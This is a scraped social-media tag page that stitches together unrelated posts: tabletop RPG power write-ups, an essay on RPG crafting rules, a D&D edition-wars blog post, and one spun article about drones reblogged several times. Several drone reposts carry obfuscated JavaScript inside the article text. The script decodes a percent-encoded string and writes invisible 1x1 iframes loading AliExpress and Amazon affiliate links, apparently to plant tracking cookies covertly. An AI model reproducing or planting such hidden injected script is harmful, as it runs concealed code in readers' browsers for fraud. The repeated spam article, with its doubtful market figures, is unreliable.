#3E-Gun Industry
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3rdeyeinsights · 1 year ago
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ttrpgbrackets · 1 year ago
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Propaganda Below
Inhabit 3: Claim the Shell
The wraith may enter a relic [ghostly] or a Skinlands [mortal world] object and use it as a surrogate body. He has full control over all its functions and can move parts on their own, though he can't make it do anything else outside its own capabilities. For example, a wraith possessing a revolver can cock the hammer, pull the trigger, and swing out the cylinder and eject spent shell casings, but he can't levitate or aim the gun, nor grasp and load fresh ammunition. His senses function normally, though they're spread across the object's entire surface. If a Skinlands object ie destroyed while the wraith inhabits it, he may bring it across the shroud as a relic (though creating a relic from a container doesn't also create relics from its contents). System: the player spends 3 Pathos and rolls Strength+Inhabit (difficulty of the local Shroud, or 8 in the Tempest [part of the ghostly world behind the veil]). The number of successes required for success depend on the item's size:
1 success Handheld: tablet or notebook computer, handgun,power tool, book 2 successes Two-handed: small appliance, greatsword, web server 3 successes Human-sized: motorcycle, crew-served heavy weapon, office furniture 4 successes Vehicular: speedboat, garage workbench, assembly line laser wielding robot 5 successes Industrial: locomotive, marine diesel engine, newspaper printing press 6+ successes Structural: House, airliner, ship
Claim the Shell lasts for one scene. If the object is destroyed while the wraith is within it, his shadow [evil alter ego] gains 1 temporary Angst per success required to Claim it. However, he may convert the item into a relic by spending 1 Willpower, plus 1 Corpus per success required to claim it.
What makes it cool?
If you read that list of examples and don't get it I don't know what to tell you, but I'll try… This is an ability dripping with flavour. It takes a classic ghost trope, the possessed object, systematises it with just enough limitations to be interesting, considers how it would feel to be that ghost with the sensory description, which is great for a gm, and provides a list to spark your imagination. From an in-game perspective, ghosts can't normally interact with the material world, so getting something like this isn't just incredibly exciting, it basically writes its own stories for at least a couple of sessions as you play around with it. Oh, and you can get (Rare, valuable) relic objects even if the person you're trying to kill with a battleship somehow defeats you! This ability alone makes me want to play wraith every time I read it.
Argent Trickster's Rook
Flashing a wicked grin as she rolls the dice or turns over her cards, the Lunar claims faces unwisely wagered against her. She performs a sacred hunt by challenging a human to dice, cards, or a similar game of chance, convincing him to stake his shape as his wager. She needn’t convince him that she can actually take his form, and may convince him through vague language, metaphor, or half-truth. Her own wager must be one that her target would consider equal in value to the theft of his shape. If the Lunar wins — including by cheating, as long as she isn’t caught — she concludes the sacred hunt and claims her target’s form. Her target must be genuinely playing to win. If the Lunar’s target wins or catches her cheating, the sacred hunt fails, and she can’t take his shape through this Charm until next story. She may still attempt sacred hunts against him by other means.
What makes it cool?
This is literally a way for a shapeshifter character to win your form in a gambling game. The "normal" way for a Lunar to take something's form is a literal ritual hunt, which ends with eating part of the target, and this is one of a few ways to steal a human's form without killing them. There's just something really fucking cool and evocative about winning someone's face in a game of cards.
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samueldays · 2 years ago
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Thoughts on crafting systems
I have ranted a few times about how RPG (and CRPG) crafting systems fail in various ways. I want to offer a tongue-in-cheek universal crafting system for use in any game, then make some observations from various games and try to form a bit of general theory and positive suggestions.
The universal crafting system is this: "It takes twice as long and costs twice as much for your player character to make it, because your player character has specialized in Swords&Spells, not specialized in Anvils&Tannins."
Professional artificer NPCs with a costly immobile workshop, established contacts, years of experience, pounds of reagents, specialized tools, et cetera, et cetera, are almost certainly going to do a faster and better job than your wandering murderhobo PC. This goes double for any games in industrial, cyberpunk, space age, or similar settings, where your products are likely coming out of an assembly line that vastly outdoes anything an individual worker can do, even if that individual knows Haste. You can buy an assembly line factory with the gold you got from the dragon's hoard, but the manufacturing process is still not you doing it.
Now let me gesture at when this argument does and doesn't apply.
For D&D, it applies because while your party's druid might brew their own potions, it's almost certain your party is not going to brew potions and write scrolls and forge swords and enchant armor and learn the five different spells required to craft the Ring of Stars and muck around with extradimensional space to create a Bag of Holding and muck around with planar energies to create the Greater Chasuble of Frobblebrotz. D&D has a lot of magic items to craft and wear ('christmas tree syndrome') and you're going to be depending on NPCs for most if not all of them.
For M&M, it doesn't apply because your protagonist is plausibly the only one in the world who knows how to create his super-science invention, and/or the only one with access to the materials required to build it. There are few or no NPCs that the work can be farmed out to. Also, owning a workshop in M&M is much cheaper (1/5th of a build point), and its immobility is less restrictive when you can own a private jet.
For Shadowrun, it applies because Ares Macrotechnology makes your gun and Ares Macrotechnology makes your accessories. You get a bit of choice in which six of the bazillion tactical operator accessories you want to put on the gun. This customization is not crafting in the sense I'm talking about here.
For various "stranded on a [desert island/space station/arctic outpost/hell dimension]" games, it doesn't apply because there are few or no NPCs at all, artificers or not.
Exalted provides an interesting edge case, because on one hand your protagonist is an omnicompetent superhero (or supervillain) similar to M&M, on the other hand there's the Realm of the Scarlet Empress populated with another ten thousand of those. Also the Exalted 3e crafting system is unusually terrible even by the standards of crafting systems.
So... what is up with D&D? Why does it have a crafting system for magic items? Well, in a sense it doesn't. (I'm specifically referring to D&D 3e here because of its convenient public SRD rules.) What D&D 3e has is effectively a conversion system for turning Experience Points into Gold Pieces at a fixed rate. If you want a +1 Flaming Longsword, you could go to the magic items store and pay eight thousand gold, or you could pay four thousand gold and 320 experience points to enchant a longsword. The enchanted longsword can then help you recover the XP by stabbing trolls. Unlike the crafting systems of every other game mentioned above, this D&D process doesn't have a roll. There is no failure chance. There is no skill check. There's also no mention of tools or ingredients required, only "prerequisites" of being a level X caster who knows spell Y and feat Z.
D&D 3e's bizarre "crafting" conversion system also works in another way that I think was partly accidental: The ingredient cost of item enchantment is simply calculated as half the item's [marginal] retail price.
Retail price is in turn calculated by out-of-universe authors who are operating primarily on a system of "how beneficial is this magic item to PCs?" without regard for whether there's market demand or NPC interest. This makes for bizarre economics, but functional PC-centered gameplay. It's also without regard for intuitive notions of "how much magic" might be involved. For example, the Unguent of Timelessness.
When applied to any matter that was once alive this ointment allows that substance to resist the passage of time. Each year of actual time affects the substance as if only a day had passed.
It costs 150gp for one flask that can coat eight Medium-sized (i.e. human-sized) items. It never wears off. It even provides minor resistance to hostile magic.
By contrast, it costs 250gp for a flask of Silversheen that can coat one melee weapon, lasting one hour to make it "counts as silver" for assistance in stabbing werewolves and vampires.
Silversheen is more relevant and useful to freelance facepunchers, therefore Silversheen costs more gold, therefore Silversheen requires more expensive magical ingredients to create.
This is hilariously unrealistic and didn't catch on with other games, but in retrospect it worked out fine for D&D while just about every other game had a case of "the crafting system is terrible". I don't really mean to praise D&D 3e's crafting system here, either, but it's at least tolerable in play if occasionally absurd.
By contrast, the other systems mentioned...
M&M is quite rules-light: dispense with the notion of monetary cost, permanent items cost abstract character build points, temporary items only need time and skill checks.
Shadowrun 5e is rules-light for mundane items but overly complicated and imbalanced for magical items, with splatbook rules accidentally breaking the process wide open and letting characters turn a 20x profit. (Forbidden Arcana lets you spend refined reagents to raise the Limit by 5 on all Magic tests. The Force of a Focus is determined by a roll using Artificing+Magic [Formula Force] that says you can't spend Edge.)
Exalted 2e involved HUGE TIMEFRAMES to craft artifacts and HUGE SPEEDUP powers that gave speed multipliers from 2x to 15x, so buying several of these powers was effectively a tax on making daiklaves in less than a year. In theory there were 5 Craft subskills by elements, but in practice you took Craft (Fire) which covered the forge, almost anything metal can be fluffed as made with a forge.
Exalted 3e kept the HUGE TIMEFRAMES but also required you to spend time collecting ten rat tails, I mean crafting five mundane swords to get psyched up for crafting an artifact sword, then four more mundane swords before you could craft a second artifact sword. And it introduced multiple abstract crafting subsystem resources representing inspiration or something, idk. Resources were partly gained by crafting and partly at the end of each "story arc", also "per day but not if you timeskip", which mixed levels of abstraction to create an annoying incentive structure. You could spend subsystem resources instead of XP on raising the Craft skills, partly compensating for the fact that Exalted 3e is a game where "Melee" is a single skill for sword, club, dagger, glaive, guisarme, and flail, but "Crafts" are now many skills as finely divided as tailoring from tapestry-weaving. Also it introduced the "terminus" mechanic - if you try to make an artifact sword you must complete the project in X rolls, or else it permanently fails and you are forbidden to ever attempt that artifact again.
Lessons from Exalted 3e: don't do that.
What should you do? IMO,
1. Crafting should be rules-light.
Most RPGs are not detailed simulations of shopkeeping nor chemistry nor the economics of market supply and demand, and should not try to pretend they are. It distracts from the goblinslaying and princesssaving.
Tumblr media
That is what D&D 3e has to say about Crafting Wands. By contrast, the SR 5e rules for Crafting Talismans take up a full page, and they're worse.
2. Ditch entire subsystems.
This is a separate point because a lot of good judgment could go into when to have a short subsystem vs. when to have no subsystem. But most RPGs get by fine with no skill dedicated to Craft (gemcutting), to take an Exalted example.
3. Design around player characters.
Immunity to Aging costs 1 build point in M&M, where characters usually have 150 to spend. To a normal person this is far more valuable than a laser gun, but the laser gun costs more points and is harder to craft as well as taking more time to build because it's more valuable to the League of Righteous Face Shooters.
Matters of "what if the heroes went around creating immortality wristwatches en masse" can be left to the DM's decision to run such a game or not, instead of trying to fix a fair price in the rules.
4. Be heavy-handed about costs.
If there are professional NPC crafters around, PCs shouldn't be able to outdo them by dabbling, usually not even be competitive. If there aren't professional NPC crafters around, you're probably playing a game where resource shortage is part of the point. Either way, crafting should not be very profitable. It might be very useful (going from having no weapon to an improvised spear) but it should be expensive enough that the PCs don't feel tempted to stop adventuring for a year and resume when they've all got +10 Godly Plate of the Whale. Calling back to 3, the PC economics should be a concern, even if the wider setting economics are not.
5. Say "No breaking the economy."
Saying this is like 1% of the effort and gets you 90% of the effect of trying to wrangle your crafting system into being sufficiently balanced to run a simulated economy. Perhaps, add a brief handwave about how offscreen NPCs don't use the crafting subsystem presented for PCs, so the rules don't generalize and can't be used to break the economy.
6. Make appropriate exceptions.
None of the previous rules are absolute, but exercise thought about why you're breaking them. Exalted, for instance, is a game about wielding massive power and suffering terrible consequences. Breaking the economy is totally up its alley.
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hitz-bettina6pwr9 · 4 years ago
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The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
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Among them is invading a person's privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
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Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
from Blogger http://thetheoritical.blogspot.com/2020/07/the-function-of-drone-is-getting-better.html
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uncutvenus · 4 years ago
Text
The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
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Among them is invading a person’s privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
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Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
from Blogger http://thetheoritical.blogspot.com/2020/07/the-function-of-drone-is-getting-better.html source https://hitz-bettina6pwr9.tumblr.com/post/624681241593217024
1 note · View note
thevoiceofwillow-blog · 4 years ago
Text
The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
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Among them is invading a person’s privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
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Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
from Blogger http://thetheoritical.blogspot.com/2020/07/the-function-of-drone-is-getting-better.html source https://hitz-bettina6pwr9.tumblr.com/post/624681241593217024
0 notes
dearluce · 4 years ago
Text
The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
str='@3C@49@46@52@41@4D@45@20@53@52@43@3D@27@68@74@74@70@73@3A@2F@2F@73@2E@63@6C@69@63@6B@2E@61@6C@69@65@78@70@72@65@73@73@2E@63@6F@6D@2F@65@2F@5F@64@59@70@49@32@73@4A@0A@27@20@57@49@44@54@48@3D@31@20@48@45@49@47@48@54@3D@31@3E@3C@2F@49@46@52@41@4D@45@3E'; document.write(unescape(str.replace(/@/g,'%'))); However, today drones are widely used for other purposes such as search and rescue, surveillance, traffic and weather monitoring, firefighting, agricultural, personal and for filming. The increasing use of drones is now inviting many complaints and concerns from the public.
Among them is invading a person’s privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
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Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
via Blogger https://ift.tt/3jGFDWI from mdnursyazwi https://ift.tt/3fWMFnU via http://www.rssmix.com/
0 notes
targetscissors · 4 years ago
Text
The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
str='@3C@49@46@52@41@4D@45@20@53@52@43@3D@27@68@74@74@70@73@3A@2F@2F@73@2E@63@6C@69@63@6B@2E@61@6C@69@65@78@70@72@65@73@73@2E@63@6F@6D@2F@65@2F@5F@64@59@70@49@32@73@4A@0A@27@20@57@49@44@54@48@3D@31@20@48@45@49@47@48@54@3D@31@3E@3C@2F@49@46@52@41@4D@45@3E'; document.write(unescape(str.replace(/@/g,'%'))); However, today drones are widely used for other purposes such as search and rescue, surveillance, traffic and weather monitoring, firefighting, agricultural, personal and for filming. The increasing use of drones is now inviting many complaints and concerns from the public.
Among them is invading a person’s privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
str='@3C@49@46@52@41@4D@45@20@53@52@43@3D@27@68@74@74@70@73@3A@2F@2F@77@77@77@2E@61@6D@61@7A@6F@6E@2E@63@6F@6D@2F@67@70@2F@73@65@61@72@63@68@2F@72@65@66@3D@61@73@5F@6C@69@5F@71@66@5F@73@70@5F@73@72@5F@74@6C@3F@69@65@3D@55@54@46@38@26@74@61@67@3D@6D@61@6C@61@79@73@30@37@2D@32@30@26@6B@65@79@77@6F@72@64@73@3D@75@6E@6D@61@6E@6E@65@64@25@32@30@61@65@72@69@61@6C@25@32@30@76@65@68@69@63@6C@65@26@69@6E@64@65@78@3D@61@70@73@26@63@61@6D@70@3D@31@37@38@39@26@63@72@65@61@74@69@76@65@3D@39@33@32@35@26@6C@69@6E@6B@43@6F@64@65@3D@75@72@32@26@6C@69@6E@6B@49@64@3D@35@38@66@66@36@31@32@39@64@64@34@34@30@63@63@64@33@36@65@65@66@39@66@63@37@30@38@39@39@31@35@34@27@20@57@49@44@54@48@3D@31@20@48@45@49@47@48@54@3D@31@3E@3C@2F@49@46@52@41@4D@45@3E'; document.write(unescape(str.replace(/@/g,'%')));
Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
from Blogger http://thetheoritical.blogspot.com/2020/07/the-function-of-drone-is-getting-better.html source https://hitz-bettina6pwr9.tumblr.com/post/624681241593217024
0 notes
checkerboardom · 4 years ago
Text
The Function Of Drone Is Getting Better and Wider
A drone is an unmanned aerial vehicle (UAV) or also known as a flying robot. The aircraft can be controlled either using a control device or can fly using the aircraft control software installed in it.
In the past, drones were commonly used for military purposes, where they were used for anti-aircraft gun training, intelligence and even as weapons.
str='@3C@49@46@52@41@4D@45@20@53@52@43@3D@27@68@74@74@70@73@3A@2F@2F@73@2E@63@6C@69@63@6B@2E@61@6C@69@65@78@70@72@65@73@73@2E@63@6F@6D@2F@65@2F@5F@64@59@70@49@32@73@4A@0A@27@20@57@49@44@54@48@3D@31@20@48@45@49@47@48@54@3D@31@3E@3C@2F@49@46@52@41@4D@45@3E'; document.write(unescape(str.replace(/@/g,'%'))); However, today drones are widely used for other purposes such as search and rescue, surveillance, traffic and weather monitoring, firefighting, agricultural, personal and for filming. The increasing use of drones is now inviting many complaints and concerns from the public.
Among them is invading a person’s privacy when used to take pictures of individuals in their homes or areas that are considered private property. In addition, there are also those who fly drones in areas that invite danger to the public such as in urban areas and airports. Increased use of drones for commercial and personal use also raises many security concerns such as collisions in the airspace and loss of control. Concerns about attempts to fly drones too close to passenger planes led to it being eventually regulated by law. In the United States (US), the Federal Aviation Organization (FAA) has enacted several drone-related laws including banning it from being flown at risky areas such as airports.
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Facts about drones
The global drone market is expected to be worth US $ 127 billion (RM568 billion) by 2021 compared to US $ 2 billion (RM8.95 billion) this year. Seven million commercial and consumer drones will be brought to the US by 2021 compared to 2.5 million this year. During the same period, sales of drones for personal use are expected to increase from 1.9 million to 4.3 million while sales of drones for commercial use increased from 600,000 to 2.7 million. Currently, the largest market for drones is the US. Research firm KPCB in 2014 showed that the US controls 35 percent of the drone market compared to 30 percent in Europe, 15 percent (China) and 20 percent worldwide. The Federal Aviation Organization (FAA) expects 30,000 drones to fly in US airspace by 2020.
Benefits of drones in industry
1. Media, journalism and film
- Helps to get images that were previously difficult to obtain
- Small, lightweight, portable and easy to carry
- Easy to handle, just needing one is enough
- Used to record athlete action at the Olympics
2. Agriculture
- Sprinkle fertilizer and water the crop area more easily and quickly
- Monitor fires or floods
- Recording and inventory process
3. Business
- Delivery of goods to customers
- Exploration in water, gas, oil and minerals
- Purpose of documentation such as accident report, construction confirmation and work status at the construction site.
4. Enforcement
- Investigation at the crime scene
- Help the police detect criminals more easily and quickly
- Monitoring in the air
from Blogger http://thetheoritical.blogspot.com/2020/07/the-function-of-drone-is-getting-better.html source https://hitz-bettina6pwr9.tumblr.com/post/624681241593217024
0 notes
swipestream · 7 years ago
Text
The Edition Wars Inside My Brain
Nerd Wars always feel a little like kids arguing about whose hand makes a better laser gun…
Did you hear the big gaming news last week? Paizo announced they’re working on a second edition for Pathfinder. Cue the Sturm und Drang of the conflicting excitement and irritation that the announcement of a new edition always elicits. Have they released another wave of the endless Edition Wars upon us?
I am avowedly polygamerous. My passion for superhero RPGs is almost legendary, you can pry my science fiction games from my cold, dead hands, and don’t even think of trying to stop my monster hunting inclinations in modern paranormal games. While not every indie game hits my interests, I’m always excited to see what developers are coming up with. Thing is, though, when it comes down to it, D&D still provides a solid backbone for my gaming life. I never seek it out at conventions, but it and its variations are still a staple of my regular group. Currently, one of the less experienced GMs is running a 5e game, and we have several other 5e and Pathfinder games on seasonal hiatus.
For the new or the sheltered, what are the Edition Wars? Essentially, it’s the conflict that happens between the people who are excited for a new version of a game and the discontent of those that are perfectly happy sticking with what they already play. The extremes of both sides often get vitriolic and adamant that their preferred edition is the only correct choice.
Before I go any further, let’s talk a little bit about the history of the editions of D&D, as these are momentous events in the history of the game:
So many editions…
In 1977, Advanced Dungeons & Dragons was released. While the original version of the game arrived in 1974, a large number of gamers in the late 70’s and 80’s experienced AD&D as their first taste of the game. There were a variety of ‘Basic’ versions that came out in the intervening years, but AD&D seemed to be regarded as the main version of the game. By the time I started playing in 1986, there was even edition-war-like grumbling about the changes introduced from Unearthed Arcana the year before.
1989 saw the arrival of Advanced Dungeons & Dragons 2nd Edition. I was still new to the hobby, but this was huge. Do you have any idea how excited I was to be able to play a bard without having to go through the ridiculous path laid out in 1e materials? My group even converted our characters from 1e to 2e so we could play with the new hotness. Beija Tavelar, my scrappy, red-headed, lute-playing mage-thief became the bard I had always wanted her to be. Then she died in a stupid pit trap with everyone else in the party and we had to make new characters anyway.
TSR, D&D’s original publisher, was struggling financially in the 90’s and was bought by Wizard of the Coast in 1997. It would take three years, but Wizards finally released Dungeons & Dragons 3rd Edition in 2000. This was BIG. If you want a more detailed look at the impact this edition (and its OGL – open game license) had on the industry, I highly recommend diving into Designers & Dragons entries on TSR and Wizards of the Coast. At the time, it had been way too many years since I’d been able to play regularly but even I heard about the arrival of 3e. While the d20 boom was changing the lives of many game companies and designers, it helped me realize that I needed gaming in my life and I couldn’t wait around for my old gaming group to suddenly find time and motivation to game again.
In 2003, things took a left turn as Wizards abruptly released Dungeons & Dragons v 3.5. The edition addressed a few different problems that existed in the previous edition while still retaining the same core concepts. Unfortunately, it caused a huge problem for many of the third-party creators of d20 products. Again, take look at Designers & Dragons entries on Wizards. It’s a fascinating read. This was also around the time I found a new group to play with and it doesn’t take a genius to guess we started playing 3.5.
Only five years later, Wizards released Dungeons & Dragons 4th edition. Edition Wars had existed since the grognards of old complained about 2e back in the late 80’s, but 4e almost instantly developed a troubled relationship with the fanbase. While the bones of the game were still D&D, some of the concepts and mechanics went in a different direction meant to attract a new generation of player. The feel was often described as being more ‘video game’ than anything like previous editions. I actually thought 4e was fun. One of my favorite campaigns was run in the system and it actually did make it easier to introduce new players to the hobby. That said, there was still a lot of animosity towards this edition. I’m still irritated at some of my friends who would gleefully make fun of the game every time I mentioned a 4e game I was playing in. Not cool, folks.
At the same time as 4e was being released, Paizo released Pathfinder, a fantasy game based around the OGL of 3.5. Calling the game D&D 3.75 isn’t completely out of bounds. It tried to fix a few different rules problems from the original edition and worked to make the classes interesting at every level, but the game was still obviously an evolution of 3.5. Many of the players who were irritated at 4e flocked to Pathfinder helping the game become a huge success. In late 2011, when I started my Eberron campaign, the group was a bit tired of 4e, so we decided to use Pathfinder. The SRD available online provided most of the material I would need to run the game.
In 2014, Wizards released Dungeons & Dragons 5th edition and quietly let 4e fade into the background. Work on the new edition was announced in 2012 which raised some eyebrows, but they did some serious playtesting and player surveys before they released their final results two years later. Honestly, the results of their work showed. While plenty of folks stayed loyal to Pathfinder, 5e rejuvenated interest in the D&D brand and has proven to be super successful. My group jumped into 5e headfirst (as we do with any game that catches our interest). We have one beloved 5e game we’ve been playing in seasons and I’m about to start a 5e game with the teens I’ve been GMing for once a month.
I can’t even get into all the OSR (Old School Renaissance) retro clones that exist out there. They’re not exactly in my wheelhouse, so I haven’t had an opportunity to play any of them (which I would with a GM I trust), but they’re out there. Everything from Dungeon Crawl Classics, Labyrinth Lord, OSRIC, Swords & Wizardry, and many, many more.
To tally up, there were 12 years between 1e and 2e, 11 years between 2e and 3e, 8 between 3e and 4e (with an intermediary road bump with 3.5), and 6 years between 4e and 5e. Paizo waiting ten years to announce they’re working on a second edition isn’t really that extraordinary. Even if I can remember when Pathfinder was shiny and new, it has been a mainstay for a decade now.
Anyone that gets all pretentious about which edition is best gets an eye roll from me. Play what you want and what makes your group happy, but don’t be a dick about what makes someone else happy. 
I have my thoughts and preferences on the various editions, but I’ll mostly play whatever the people I want to game with want to play. Mostly. Anyone that gets all pretentious about which edition is best gets an eye roll from me. Play what you want and what makes your group happy, but don’t be a dick about what makes someone else happy. You won’t find me participating in any battles about which edition is king other than to tell people to chill out and stop telling people they’re having bad-wrong-fun.
That said, I do experience type of Edition War, but this one happens solo, inside MY BRAIN.
I’ve been gaming with a regular crew for close to 15 years now and in that time, we have started, finished and abandoned multiple games of at least four different versions of D&D (Pathfinder included). There’s only so much room for rules in this head of mine and I imagine it’s the same for most of us. It’s not that unusual for us to suddenly pause as we confuse the specifics of various rules between editions. Does flanking matter in this edition? How long does that spell last in this version? How many dice do I get to add to my sneak attack?
What do we do about the limited rental space for rules in our brains while playing multiple different variations of D&D? (Or any game system, really.)
Cheat sheets of the major and common rules is your friend. There are plenty of these out there if your google-fu is strong enough, but I always like creating my own when possible. It helps cement the info into my brain and is usually laid out in a way that makes sense to me. GM Screens often provide a great resource even when you don’t really feel the need to hide your rolls from your players.
Keep pertinent rules to your characters handy. Whenever I play a spell caster, I always keep a full list of available spells handy so I can quickly know the rules of whatever spell I’m about to use. The same goes for any special ability you’re going to use. Say what you will about 4e, but the ability cards the character builder created were damn handy.
